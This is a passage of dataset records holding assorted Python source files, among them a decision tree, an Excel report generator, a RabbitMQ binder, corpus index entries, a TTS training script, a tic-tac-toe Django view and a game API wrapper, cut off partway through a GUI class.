shannonEnt - newShannonEnt\n # print 'shannonEnt=%d, newShannonEnt=%d' % (shannonEnt, newShannonEnt)\n # print '%d, infoGain=%d' % (i, infoGain)\n if infoGain > bestInfoGain:\n bestIndex = i\n bestInfoGain = infoGain\n return bestIndex\n \n def majorCnt(self, dataSet):\n if dataSet.shape[0] == 0 or dataSet.shape[1] == 0:\n return -1\n labelCounts = {}\n for vec in dataSet:\n if vec[-1] not in labelCounts.keys():\n labelCounts[vec[-1]] = 0\n labelCounts[vec[-1]] += 1\n sortedCounts = sorted(labelCounts.iteritems(), key=itemgetter(1), reverse=True)\n return sortedCounts[0][0]\n \n def buildTree(self, dataSet, featureNames):\n labels = [vec[-1] for vec in dataSet]\n if labels.count(labels[0]) == len(dataSet):\n return labels[0]\n if dataSet.shape[1] == 1:\n return self.majorCnt(dataSet)\n bestFeature = self.chooseBestFeatureToSplit(dataSet)\n # print 'ddd:'\n # print dataSet\n if bestFeature == -1:\n return self.majorCnt(dataSet)\n bestFeatureName = featureNames[bestFeature]\n # print 'bestFeature=%s' % bestFeatureName\n tree = {bestFeatureName: {}}\n values = [vec[bestFeature] for vec in dataSet]\n uniqValues = set(values)\n del(featureNames[bestFeature])\n for value in uniqValues:\n subDataSet = self.splitDataSet(dataSet, bestFeature, value)\n subFeatureNames = featureNames[:]\n tree[bestFeatureName][value] = self.buildTree(subDataSet, subFeatureNames)\n return tree\n\n def classify(self, tree, featureNames, x):\n firstStr = tree.keys()[0]\n secondDict = tree[firstStr]\n index = featureNames.index(firstStr)\n for key in secondDict.keys():\n if x[index] == key:\n if type(secondDict[key]).__name__ == 'dict':\n label = self.classify(secondDict[key], featureNames, x)\n else:\n label = secondDict[key]\n return label\n\n def storeTree(self, tree, filePath):\n import pickle\n fw = open(filePath, 'w')\n pickle.dump(tree, fw)\n fw.close()\n\n def loadTree(self, filePath):\n import pickle\n fr = open(filePath)\n return pickle.load(fr)\n","sub_path":"DecisionTree.py","file_name":"DecisionTree.py","file_ext":"py","file_size_in_byte":4085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"460621785","text":"import xlsxwriter\nimport json\nimport cell\nfrom datetime import datetime\nfrom itertools import count\n\nclass MonthlyReport():\n def __init__(self):\n self.workbook = xlsxwriter.Workbook('monthly-report.xlsx')\n self.worksheet = self.workbook.add_worksheet('ONE')\n self.worksheet_hide = self.workbook.add_worksheet('HIDE')\n self.worksheet2 = self.workbook.add_worksheet('TWO')\n cell_format_title = self.workbook.add_format(cell.title)\n cell_format_header = self.workbook.add_format(cell.header)\n cell_format_header2 = self.workbook.add_format(cell.header2)\n cell_format1 = self.workbook.add_format(cell.format1)\n cell_format2 = self.workbook.add_format(cell.format2)\n red_format = self.workbook.add_format(cell.red)\n green_format = self.workbook.add_format(cell.green)\n cell_format_header3 = self.workbook.add_format(cell.header3)\n cell_format_header4 = self.workbook.add_format(cell.header4)\n cell_format_header5 = self.workbook.add_format(cell.header5)\n cell_format3 = self.workbook.add_format(cell.format3)\n cell_format_title2 = self.workbook.add_format(cell.title2)\n self.cells = [\n cell_format_title, cell_format_header, cell_format1,\n cell_format2 ,red_format, green_format ,cell_format_header2,\n cell_format_header3, cell_format_header4, cell_format_header5,\n cell_format3,cell_format_title2\n ]\n\n def add_header_columns(self,*args):\n row = args[0]\n columns = args[1]\n for col_num, data in enumerate(columns,1):\n if col_num in [6]:\n self.worksheet.write(row,col_num,data,self.cells[6])\n elif col_num in [1]:\n self.worksheet.write(row,col_num,data,self.cells[7])\n else:\n self.worksheet.write(row,col_num,data,self.cells[8])\n self.worksheet.set_row(row,65)\n self.worksheet.set_column('B:B', 18)\n self.worksheet.set_column('C:F', 15)\n self.worksheet.set_column(6,6,45)\n\n def add_data(self,datax,data2):\n row = 4 \n row2 = 7\n for dt in datax: \n ex = dt[0]['data']\n row2,rowStart = self.insert_data_chart(data2[ex],row2)\n for col_num, data in enumerate(dt,1): \n \n self.worksheet.set_row(row,38)\n self.worksheet.set_row(row+1,38)\n if col_num in [3,4,5] and float(data['data']) < float(data['data2']):\n self.worksheet.write(row,col_num,data['data'],self.cells[4])\n elif col_num in [3,4,5] and float(data['data']) >= float(data['data2']):\n self.worksheet.write(row,col_num,data['data'],self.cells[5])\n elif col_num in [6]:\n chart = self.line_chart(row2,rowStart)\n self.worksheet.insert_chart(row,col_num, chart, {'x_scale': 0.6, 'y_scale': 0.3,'y_offset': 10})\n else:\n self.worksheet.write(row,col_num,data['data'],self.cells[2])\n\n\n try:\n self.worksheet.write(row+1,col_num,data['data2'],self.cells[3])\n except KeyError as e:\n data_ = ''\n self.worksheet.write(row+1,col_num,data_,self.cells[3])\n\n row += 2\n\n def add_data2(self,*args):\n headings = ['Budget', 'Forecast', 'Actual']\n data = args[0]\n data2 = args[1]\n data3 = args[2]\n data4 = args[3]\n \n self.fleet_overview(headings,data,data2)\n\n headings = ['Equipment','Planned','Breakdown','Total hr']\n last_row = self.equipment_overview(headings,data3,data4)\n\t\t\t\t\t\t\n def fleet_overview(self,*args):\n headings = args[0]\n data = args[1]\n data2 = args[2]\n dthead = ['HR','%']\n self.worksheet2.write('C3','Fleet Overview',self.cells[11])\n self.worksheet2.merge_range(5,2,5,3,'Av% MTD', self.cells[9])\n self.worksheet2.merge_range(6,2,6,3,'Av% YTD', self.cells[9])\n self.worksheet2.merge_range(4,12,4,14,'Downtime Type', self.cells[9])\n self.worksheet2.write_row(4,15,dthead, self.cells[9])\n\n row = 4\n\n for col_num,head in zip(count(step=2), headings):\n col_num += 4\n self.worksheet2.merge_range(row, col_num, row, col_num+1, head, self.cells[9])\n \n for col_num, dt in zip(count(step=2),data):\n row = 5\n col_num += 4\n for dtx in dt:\n self.worksheet2.merge_range(row, col_num, row, col_num+1, dtx, self.cells[10])\n row += 1\n\n row = 5\n col = 12\n for dt in data2:\n self.worksheet2.merge_range(row,col,row,col+2,dt, self.cells[10])\n self.worksheet2.write_row(row,15,data2[dt], self.cells[10])\n row += 1\n\n categories = ['TWO', 5, 12, 6, 12]\n values = ['TWO', 5, 16, 6, 16]\n type_chart = {'type': 'doughnut'}\n\n chart1 = self.add_pie_chart(categories,values,type_chart)\n self.worksheet2.insert_chart('S3',chart1,{'x_scale': 0.5, 'y_scale': 0.4})\n\n def equipment_overview(self,*args):\n headings = args[0]\n data = args[1]\n data2 = args[2]\n pie = len(data)\n mthead = ['MTTR (hr)','MTBF (day)']\n \t\t\n self.worksheet2.write('C9','Equipment Overview',self.cells[11])\n\n row = 10\n for col_num,head in zip(count(step=2), headings):\n col_num += 2\n self.worksheet2.merge_range(row, col_num, row, col_num+1, head, self.cells[9])\n\n row = 11\n colu = 2\n for dt in data:\n self.worksheet2.merge_range(row,colu,row,colu+1,dt, self.cells[10])\n for col,i in zip(count(step=2),data[dt]):\n col += 4\n self.worksheet2.merge_range(row,col,row,col+1,i, self.cells[10])\n row += 1\n \n row_after = row + 2\n\n row = 10\n self.worksheet2.merge_range(row,12,row,13,mthead[0],self.cells[9])\n self.worksheet2.merge_range(row,14,row,15,mthead[1],self.cells[9])\n col = 12\n for dt in data2:\n \n for row,dtx in enumerate(dt,11):\n self.worksheet2.merge_range(row,col,row,col+1,dtx,self.cells[10])\n col += 2\n\n\n row_after = 16 if row_after == 0 else row_after\n\n categories = ['TWO', 11, 2, 14, 2]\n values = ['TWO', 11, 8, 14, 8]\n type_chart = {'type': 'pie'}\n\n chart2 = self.add_pie_chart(categories,values,type_chart)\n self.worksheet2.insert_chart('R9',chart2,{'x_scale': 0.6, 'y_scale': 0.5})\n return row_after\n\n\n def add_pie_chart(self,*args):\n categories = args[0]\n values = args[1]\n type_chart = args[2]\n\n chart = self.workbook.add_chart(type_chart)\n chart.add_series({\n 'categories': categories,\n 'values': values,\n 'data_labels': {'value': True},\n })\n\n chart.set_style(10)\n return chart\n\n def get_workbook(self):\n self.worksheet_hide.hide()\n self.workbook.close()\n\n def insert_data_chart(self,*args):\n data = args[0]\n rowStart = args[1]\n row2 = args[1]\n row3 = args[1]\n row4 = args[1]\n row5 = args[1]\n date_format = self.workbook.add_format({'num_format': 'dd/mm','align': 'left'})\n col = 0\n for i in data['category']:\n row2 += 1 \n self.worksheet_hide.write(row2,col,i,date_format)\n col = 1 \n for i in data['values1']:\n row3 += 1 \n self.worksheet_hide.write(row3,col,i)\n col = 2\n for i in data['values2']:\n row4 += 1 \n self.worksheet_hide.write(row4,col,i)\n col = 3\n for i in data['values3']:\n row5 += 1 \n self.worksheet_hide.write(row5,col,i) \n return row2,rowStart+1\n\n def line_chart(self,*args):\n\n row = args[0]\n rowStart = args[1]\n chart1 = self.workbook.add_chart({'type': 'line'})\n\n chart1.add_series({\n 'categories': ['HIDE', row, 0, rowStart, 0],\n 'values': ['HIDE', row, 1, rowStart, 1],\n })\n chart1.add_series({\n 'categories': ['HIDE', row, 0, rowStart, 0],\n 'values': ['HIDE', row, 2, rowStart, 2],\n })\n chart1.add_series({\n 'categories': ['HIDE', row, 0, rowStart, 0],\n 'values': ['HIDE', row, 3, rowStart, 3],\n })\n chart1.add_series({\n 'categories': ['HIDE', row, 0, rowStart, 0],\n 'values': ['HIDE', row, 4, rowStart, 4],\n })\n chart1.set_y_axis({'major_unit': 40})\n chart1.set_x_axis({'date_axis': True,'minor_unit': 10,'minor_unit_type': 'days',})\n chart1.set_legend({'none': True})\n\n chart1.set_style(18)\n\n return chart1\n\n def parse_json(self,*args):\n data = args[0]\n datax = []\n json_ = []\n for dt in data:\n json_ = []\n for dx in dt:\n json_.append(json.loads(dx,strict=False))\n datax.append(json_)\n return datax\n def hearth(self,columns,datax,data2):\n self.worksheet.hide_gridlines(2)\n #HEADER\n self.worksheet.insert_image('A1', 'image.jpg', {'x_scale': 0.7, 'y_scale': 0.7})\n self.worksheet.insert_image('G4', 'fytd.jpg', {'x_scale': 0.9, 'y_scale': 0.8,'x_offset':165,'y_offset': 10})\n self.worksheet.write('E1', 'Stawell - Monthly Report',self.cells[0])\n\n for i in range(4):\n self.worksheet.freeze_panes(i+1, 0)\n self.worksheet.set_row(0,40)\n\n row = 3\n\n self.add_header_columns(row,columns)\n self.add_data(datax,data2)\n \n def hearth2(self,data,data2,data3,data4):\n\n self.worksheet2.insert_image('A1', 'image.jpg', {'x_scale': 0.7, 'y_scale': 0.7})\n self.worksheet2.write('K1', 'Stawell - Monthly Report',self.cells[0])\n self.worksheet2.set_row(0,40)\n\n self.add_data2(data,data2,data3,data4)\n\n\n\n# ONE\n\n\ncolumns = [\n 'Asset Operation','Daily Machine\\n Numbers Actual\\n (Forecast)',\n 'Month % Actual\\n (Forecast)','FYTD % Actual\\n (Budget)',\n 'FYTD Hours\\n Actual\\n (Budget)', 'FYTD Hours Graph'\n\n]\n\ndata = [\n [\n '{\"data\":\"Shotcrete\"}',\n '{\"data\":\"2\",\"data2\":\"(2)\"}',\n '{\"data\":\"97.9\",\"data2\":\"100.0\"}',\n '{\"data\":\"150.9\",\"data2\":\"80.0\"}',\n '{\"data\":\"1500\",\"data2\":\"800\"}',\n '{\"data\":\"NULL\"}',\n ],\n [\n '{\"data\":\"Buggy\"}',\n '{\"data\":\"9\",\"data2\":\"(9)\"}',\n '{\"data\":\"97.9\",\"data2\":\"100.0\"}',\n '{\"data\":\"74.9\",\"data2\":\"80.0\"}',\n '{\"data\":\"1000\",\"data2\":\"850\"}',\n '{\"data\":\"NULL\"}',\n ],\n]\n\n\ndef dt(*args):\n data = args[0]\n fc = datetime.strptime(data,'%d-%m-%Y')\n return fc\n\ndata2 = {\n 'Shotcrete': {\n 'category':[dt('02-11-2019'),dt('04-11-2019'),dt('08-11-2019'),dt('12-11-2019'),dt('15-11-2019'),dt('25-11-2019')],\n 'values1': [80, 80, 80, 80, 90, 50],\n 'values2': [30, 60, 70, 50, 40, 30],\n 'values3': [50, 10, 60, 45, 1, 100],\n\n },\n 'Buggy': {\n 'category':[dt('01-11-2019'),dt('05-11-2019'),dt('10-11-2019'),dt('12-11-2019'),dt('15-11-2019'),dt('20-11-2019')],\n 'values1': [10, 20, 30, 40, 50, 40],\n 'values2': [10, 10, 20, 10, 30, 40],\n 'values3': [50, 60, 50, 45, 40,35 ],\n },\n}\n\n\n\n\nmonth = MonthlyReport()\ndatax = month.parse_json(data)\nmonth.hearth(columns,datax,data2)\n\n\n##### TWO\n\ndata = [\n [85.0, 85.0, ],\n [75.5, 65.5,],\n [97.62,97.62,],\n]\n\ndata2 = {\n 'Planned': [27.5,38.5],\n 'Breakdown': [44.0,61.5] \n}\n\n\n\ndata3 = {\n 'HUC05': [3,38.5,41.0],\n 'UC17': [22.5,61.5,50],\n 'UC16': [4.0,61.5,25], \n 'UC18': [44.4,64.5,10] \n}\n\ndata4 = [\n [7.50,1.50,1.00,1.00],\n [4.50,3.50,'1 Event','1 Event']\n]\n\n\n\nmonth.hearth2(data,data2,data3,data4)\n\nmonth.get_workbook()\n\t\t\t\n","sub_path":"monthly_report.py","file_name":"monthly_report.py","file_ext":"py","file_size_in_byte":12018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"482550104","text":"#!/usr/bin/env python\nimport pika\n\nfrom rabbit import Rabbit\n\n\nclass Bind(Rabbit):\n \"\"\"bind exchange with queue\"\"\"\n\n def __init__(self, connection=None):\n super(Bind, self).__init__(connection)\n\n def bind_topic(self, exchange, queue, route_key, durable=True):\n \"\"\"\n bind the exchange with topic type to queue\n Topic exchange\n Topic exchange is powerful and can behave like other exchanges.\n When a queue is bound with \"#\" (hash) binding key - it will receive all the messages,\n regardless of the routing key - like in fanout exchange.\n When special characters \"*\" (star) and \"#\" (hash) aren't used in bindings,\n the topic exchange will behave just like a direct one.\n\n Parameters:\n exchange: the exchange name, cannot be empty here\n queue: the queue name, cannot be empty here\n route_key: the route key string, cannot be empty here\n Raise:\n will raise exception if exchange, queue, or route_key is empty\n \"\"\"\n\n # start validate parameters\n if not isinstance(exchange, str):\n raise TypeError('exchange must be string')\n if not isinstance(queue, str):\n raise TypeError('queue must be string')\n if not isinstance(route_key, str):\n raise TypeError('route_key must be string')\n\n if len(exchange.strip()) == 0:\n raise ValueError('exchange name cannot be empty here')\n\n if len(queue.strip()) == 0:\n raise ValueError('queue name cannot be empty here')\n\n if len(route_key.strip()) == 0:\n raise ValueError('route key cannot be empty here')\n # end validate parameters\n\n self.channel.queue_declare(queue, durable=durable)\n try:\n self.channel.exchange_declare(exchange=exchange,\n exchange_type='topic',\n durable=durable)\n except pika.exceptions.ConnectionClosed as e:\n raise Exception(e)\n\n self.channel.queue_bind(exchange=exchange,\n queue=queue,\n routing_key=route_key)\n","sub_path":"rabbitmq/bind.py","file_name":"bind.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"596473741","text":"#!/usr/bin/env python\n# All other single corpus\n# Author: Thamme Gowda [tg (at) isi (dot) edu] \n# Created: 5/23/20\n\nfrom mtdata.index import Index, Entry\n\n\ndef load_all(index: Index):\n\n # === IITB hin eng http://www.cfilt.iitb.ac.in/iitb_parallel/\n cite = index.ref_db.get_bibtex('Kunchukuttan-etal-iitb')\n l1, l2 = 'hi', 'en'\n for version, prefix in [\n #('v1_0', 'http://www.cfilt.iitb.ac.in/iitb_parallel/iitb_corpus_download'),\n ('v1_5', 'http://www.cfilt.iitb.ac.in/~moses/iitb_en_hi_parallel/iitb_corpus_download')]:\n # they also have v2, but the link is broken http://www.cfilt.iitb.ac.in/iitb_parallel/\n # version is not explicit, but guessed from file modification time and description\n url = prefix + \"/parallel.tgz\"\n ent = Entry(langs=(l1, l2), url=url, filename=f'IITB{version}-hin_eng-parallel.tar.gz',\n name=f'IITB{version}_train', in_ext='txt', cite=cite,\n in_paths=[f'parallel/IITB.en-hi.{l1}',\n f'parallel/IITB.en-hi.{l2}'])\n index.add_entry(ent)\n\n url = prefix + \"/dev_test.tgz\"\n for split in ['dev', 'test']:\n f1 = f'dev_test/{split}.{l1}'\n f2 = f'dev_test/{split}.{l2}'\n ent = Entry(langs=(l1, l2), url=url, filename=f'IITB{version}-hin_eng-dev_test.tar.gz',\n name=f'IITB{version}_{split}', in_ext='txt',\n in_paths=[f1, f2], cite=cite)\n index.add_entry(ent)\n\n\n # == Japanese ==\n cite = index.ref_db.get_bibtex('neubig11kftt')\n url = \"http://www.phontron.com/kftt/download/kftt-data-1.0.tar.gz\"\n l1, l2 = 'en', 'ja'\n for split in ['train', 'test', 'dev', 'tune']:\n f1 = f'kftt-data-1.0/data/orig/kyoto-{split}.{l1}'\n f2 = f'kftt-data-1.0/data/orig/kyoto-{split}.{l2}'\n ent = Entry(langs=(l1, l2), url=url, filename=\"kftt-data-1.0.tar.gz\",\n name=f'kftt_v1_{split}', in_ext='txt',\n in_paths=[f1, f2], cite=cite)\n index.add_entry(ent)\n\n url = \"http://lotus.kuee.kyoto-u.ac.jp/WAT/my-en-data/wat2020.my-en.zip\"\n cite = index.ref_db.get_bibtex('ding2020a')\n for split in ['dev', 'test', 'train']:\n ent = Entry(langs=('my', 'en'), url=url, name=f'WAT2020_ALT_{split}', in_ext='txt',\n cite=cite, filename='wat2020.my-en.zip',\n in_paths=[f'wat2020.my-en/alt/{split}.alt.my', f'wat2020.my-en/alt/{split}.alt.en'])\n index.add_entry(ent)\n\n\n l1, l2 = 'iu', 'en'\n url=\"https://nrc-digital-repository.canada.ca/eng/view/dataset/?id=c7e34fa7-7629-43c2-bd6d-19b32bf64f60\"\n cite = index.ref_db.get_bibtex('joanis-etal-2020-nunavut')\n for split in ['dev', 'devtest', 'test', 'train']:\n path_pref = f'Nunavut-Hansard-Inuktitut-English-Parallel-Corpus-3.0/split/{split}'\n if split != 'train':\n path_pref += '-dedup'\n ent = Entry(langs=(l1, l2), url=url, name=f'NunavutHansard_v3_{split}', in_ext='txt',\n cite=cite, filename='NunavutHansard_iuen_v3.tgz',\n in_paths=[f'{path_pref}.{l1}', f'{path_pref}.{l2}'])\n index.add_entry(ent)\n\n # https://lindat.mff.cuni.cz/repository/xmlui/handle/11234/1-2122\n url = \"https://lindat.mff.cuni.cz/repository/xmlui/bitstream/handle/11234/1-2122/khresmoi-summary-test-set-2.0.zip\"\n cite = index.ref_db.get_bibtex('Khresmoi')\n langs = [\"cs\", \"de\", \"en\", \"es\", \"fr\", \"hu\", \"pl\", \"sv\"]\n for i, l1 in enumerate(langs):\n for l2 in langs[i+1:]:\n ent = Entry(langs=(l1, l2), url=url, name='Khresmoi_Summary_Test_v2', filename='khresmoi-summary-test-set-2.0.zip', cite=cite, in_paths=[f\"khresmoi-summary-test-set-2.0/khresmoi-summary-test.{l1}\", f\"khresmoi-summary-test-set-2.0/khresmoi-summary-test.{l2}\"], in_ext='txt')\n index.add_entry(ent)\n ent = Entry(langs=(l1, l2), url=url, name='Khresmoi_Summary_Dev_v2', filename='khresmoi-summary-test-set-2.0.zip', cite=cite, in_paths=[f\"khresmoi-summary-test-set-2.0/khresmoi-summary-dev.{l1}\", f\"khresmoi-summary-test-set-2.0/khresmoi-summary-dev.{l2}\"], in_ext='txt')\n index.add_entry(ent)\n","sub_path":"mtdata/index/other.py","file_name":"other.py","file_ext":"py","file_size_in_byte":4185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"446870241","text":"from hparams import *\nfrom sklearn.externals import joblib\nfrom tensorflow.keras.optimizers import Adam\nfrom model.tacotron_model import get_tacotron_model\n\n# import prepared data\ndecoder_input_training = joblib.load('out/decoder_input_training.pkl')\nmel_spectro_training = joblib.load('out/mel_spectro_training.pkl')\nspectro_training = joblib.load('out/spectro_training.pkl')\n\ntext_input_training = joblib.load('out/label_training.pkl')\nlength_for_embeding = joblib.load('out/length_for_embeding.pkl')\n\nmodel = get_tacotron_model(N_MEL, r, K1, K2, NB_CHARS_MAX,\n EMBEDDING_SIZE, MAX_MEL_TIME_LENGTH,\n MAX_MAG_TIME_LENGTH, N_FFT,\n length_for_embeding+1)\n\nopt = Adam()\nmodel.compile(optimizer=opt,\n loss=['mean_absolute_error', 'mean_absolute_error'])\n\nprint(model.summary())\n\ntrain_history = model.fit([text_input_training, decoder_input_training],\n [mel_spectro_training, spectro_training],\n epochs=NB_EPOCHS, batch_size=BATCH_SIZE,\n verbose=1, validation_split=0.1)\n\n\njoblib.dump(train_history.history, 'results/training_history.pkl')\nmodel.save('results/model.h5')\n","sub_path":"3_train.py","file_name":"3_train.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"148072176","text":"## dfs bfs \n## 일차원 평면에서도 dfs, bfs 를 사용한다. \n## 시간초과 뜬 이유 --> not in visited 형식은 데큐를 한번 쭉 훑어야 해서 O(n) 만큼의 시간이 소요\n## 하지만 true, false 형식이면 O(1) 시간안에 가능하다. \n\nfrom sys import stdin\nfrom collections import deque\nN, K = map(int, stdin.readline().split())\ncount = 0\nroads = deque([[N, count]])\nvisited = [False] * 100001\n\nwhile roads:\n sc = roads.popleft()\n start = sc[0]\n count = sc[1]\n if visited[start] == False:\n visited[start] = True\n if start == K:\n print(count)\n break\n count += 1\n if start + 1 <= 100000:\n roads.append([start+1,count])\n if start - 1 >= 0:\n roads.append([start-1,count])\n if start * 2 <= 100000:\n roads.append([start * 2,count])\n\n\n","sub_path":"BOK/1697.py","file_name":"1697.py","file_ext":"py","file_size_in_byte":869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"298434033","text":"from systems import cartpole\nfrom autograd import jacobian\nfrom LQSPG import LQS_PolicyGradient\nfrom neural_network import policy_network\nimport autograd.numpy as np\n\nif __name__ == \"__main__\":\n\n # Global Variables\n env = cartpole.Cartpole()\n costenv = cartpole.CartpoleCost()\n action_space = [10., -10.]\n policynet = policy_network.PolicyNetwork(4, 2)\n initial_state = np.array([0., 0., 0., 0.])\n pg = LQS_PolicyGradient.PolicyGradientLearner(env, costenv, action_space, policynet)\n\n # generate initial trajectory\n pg.generate_trajectory(initial_state)\n #print(pg.actions)\n pg.policy_gradient()\n\n print(\"POLICY NETWORK TRAINED. PRESS ANY KEY TO CONTINUE\")\n any_key = input()\n\n state = initial_state\n t_ = 0 \n\n while True:\n env.display(state)\n probs = pg.policy_network.feed_forward(state, t_)\n highest = probs[0]\n action = 0 # is index\n for i in range(len(probs)):\n if(highest < probs[i]):\n highest = probs[i]\n action = i\n action = action_space[action]\n state = env.dynamics(state, action)\n\n\n ","sub_path":"LQSmoothing-PolicyGradient/cartpole_test.py","file_name":"cartpole_test.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"454856411","text":"from django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_protect\n\nfrom game.http import JsonResponse\n\nfrom .forms import MoveForm\nfrom .tictactoe import (take_corner, move, move_ai, winner, AI_LETTER,\n HUMAN_LETTER, is_tie)\n\n\ndef play(request):\n board = ['' for m in range(9)]\n \"\"\"\n >>> board = ['' for m in range(9)]\n >>> board\n ['', '', '', '', '', '', '', '', '']\n \"\"\"\n corner = -1\n request.session['board'] = board\n start = request.GET.get('start', 'computer')\n if start != 'human':\n \"\"\"\n According to: http://en.wikipedia.org/wiki/Tic-tac-toe\n\n Player X can win or force a draw from any of these starting marks;\n however, playing the corner gives the opponent the smallest choice of\n squares which must be played to avoid losing.\n \"\"\"\n corner = take_corner(request)\n\n context = {\n 'corner': corner,\n 'moves': range(9),\n 'active': start\n }\n return render(request, 'tictactoe/board.html', context)\n\n\n@csrf_protect\ndef make_move(request):\n data = {\n 'success': False\n }\n\n form = MoveForm(request.POST or None)\n if form.is_valid():\n move(request, form.cleaned_data['move'], HUMAN_LETTER)\n board = request.session['board']\n # Check if human move can tie/win\n if winner(board):\n # This should never happen\n data['win_status'] = 'human'\n elif is_tie(request):\n data['win_status'] = 'tie'\n else:\n # Computer move and check if it can win\n mv, is_winner = move_ai(board)\n board[mv] = AI_LETTER\n request.session['board'] = board\n data['move'] = mv\n\n if is_winner:\n data['win_status'] = 'computer'\n data['board'] = board\n elif is_tie(request):\n data['win_status'] = 'tie'\n data['success'] = True\n\n return JsonResponse(data)\n","sub_path":"game/tictactoe/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"165225229","text":"import requests\nimport json\nimport auth\n\n\nclass league:\n\n def __init__(self):\n self.api_key = auth.get_auth()['leagueoflegends']['api_key']\n\n def get_summoner_id(self, summoner_name):\n url = 'https://euw1.api.riotgames.com/lol/summoner/v3/summoners/by-name/'\n params = {'api_key': self.api_key }\n response = requests.get((url + summoner_name), params=params)\n response = json.loads(response.text)\n summoner_id = response['id']\n return account_id\n\n def get_current_game(self, summoner_id):\n url = 'https://euw1.api.riotgames.com/lol/spectator/v3/active-games/by-summoner'\n params = {'api_key': self.api_key }\n response = requests.get((url + str(summoner_id)), params=params)\n if response.status_code == 404:\n return \"Looks like that players not in a game!\"\n else:\n response = json.loads(response.text)\n players = []\n for i in response['participants']:\n players.append(i['summonerName'])\n game = ('{:<30} {:>30}\\n'.format(players[0], players[5]) +\n '{:<30} {:>30}\\n'.format(players[1], players[6]) +\n '{:<30} vs {:>30}\\n'.format(players[2], players[7]) +\n '{:<30} {:>30}\\n'.format(players[3], players[8]) +\n '{:<30} {:>30}'.format(players[4], players[9])\n )\n return game\n\n def get_profile(self, summoner_id):\n url = 'https://euw.api.riotgames.com/placeholder'\n params = {'api_key': self.api_key}\n response = requests.get((url + str(summoner_id)), params=params)\n if response.status_code == 404:\n return \"Looks like that player doesn't exist.\"\n else:\n response = json.loads(response.text)\n # do stuff\n # set url\n\n def handle_message(self, message):\n if message.content.split()[1] == 'live':\n summoner_name = message.content.split()[2]\n summoner_id = self.get_summoner_id(summoner_name)\n current_game = self.get_current_game(summoner_id)\n return current_game\n elif message.content.split()[1] == 'profile':\n summoner_name = message.content.split[2]\n summoner_id = self.get_summoner_id(summoner_name)\n profile = self.get_profile(summoner_id)\n return profile\n else:\n return \"Unkown command, must be one of `live` or `profile`\"\n","sub_path":"commands/league.py","file_name":"league.py","file_ext":"py","file_size_in_byte":2497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"514370528","text":"# import os\n\n# package_name = 'operators'\n\n# __all__=[]\n\n# items = os.listdir(package_name)\n# for item in items :\n# \tif not str.startswith(item, '__'):\n# \t\t__all__.append(os.path.splitext(item)[0])\n\n\n\n__all__ = ['object_opt', 'view3d_opt']","sub_path":"blender/zh_tools/operators/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"358646855","text":"#findTheFilteredWord.py\nimport jieba\ntext = input('Enter:')\nflag = True\nwith open('filtered_words.txt','r',encoding='utf-8') as f:\n for word in f:\n for i in jieba.cut(text):\n #print(word[:-1])\n if i == word[:-1]:\n print('\\nFreedom')\n flag = False\nif flag:\n print('\\nHuman Rights')","sub_path":"0011/findTheFilteredWord.py","file_name":"findTheFilteredWord.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"289850146","text":"from visbeat.AImports import *\n\nVIEWER_INSTALLED = 1;\ntry:\n import vbwidget as Viewer\nexcept ImportError as e:\n VIEWER_INSTALLED = 0;\n AWARN(\"VBViewer not installed. Consider installing for full functionality.\")\n\nfrom TimeSignal import *\nfrom EventList import *\n\n\n\n#this is what media should call to get its gui object\ndef media_GUI_func(self):\n if (self._gui is None):\n self._gui = BeatGUI();\n self._gui.media = self;\n return self._gui;\n\nclass BeatGUI(AObject):\n \"\"\"\n\n \"\"\"\n def AOBJECT_TYPE(self):\n return 'BeatGUI';\n\n def __init__(self, media=None, path=None, clear_temp=None):\n \"\"\"If you provide a directory, it will look for a existing AFileManager.json in that directory, or create one if it does not already exist.\n If you provide a json, it will use that json, unless the json doesn't exist, in which case it will complain...\n \"\"\"\n AObject.__init__(self, path=path);\n if(media is not None):\n self.media = media;\n\n def initializeBlank(self):\n AObject.initializeBlank(self);\n self._widget = None;\n self._media = None;\n\n\n def getJSONName(self):\n return self.AOBJECT_TYPE()+\".json\";\n\n\n #########\n\n # \n @property\n def media(self):\n return self._getMedia();\n def _getMedia(self):\n return self._media;\n @media.setter\n def media(self, value):\n self._setMedia(value);\n def _setMedia(self, value):\n self._media = value;\n # \n\n # \n @property\n def media_type(self):\n return self._getMediaType();\n def _getMediaType(self):\n if(self.media is None):\n return None;\n else:\n return self.media.AObjectType();\n # \n\n # \n @property\n def widget(self):\n return self._getWidget();\n def _getWidget(self):\n if (self._widget is None):\n self._widget = Viewer.VBVSignal();\n return self._widget;\n @widget.setter\n def widget(self, value):\n self._setWidget(value);\n def _setWidget(self, value):\n self._widget = value;\n # \n\n # \n @property\n def frame_rate(self):\n return self._getFrameRate();\n def _getFrameRate(self):\n gfr = self.widget.frame_rate;\n if (gfr is None):\n media = self.media;\n if (media is not None):\n gfr = media.getFrameRate();\n return gfr;\n @frame_rate.setter\n def frame_rate(self, value):\n self._setFrameRate(value);\n def _setFrameRate(self, value):\n self.widget.frame_rate = float(value);\n # \n\n\n # \n @property\n def frame_offset(self):\n return self._getFrameOffset();\n def _getFrameOffset(self):\n return self.widget.frame_offset;\n @frame_offset.setter\n def frame_offset(self, value):\n self._setFrameOffset(value);\n def 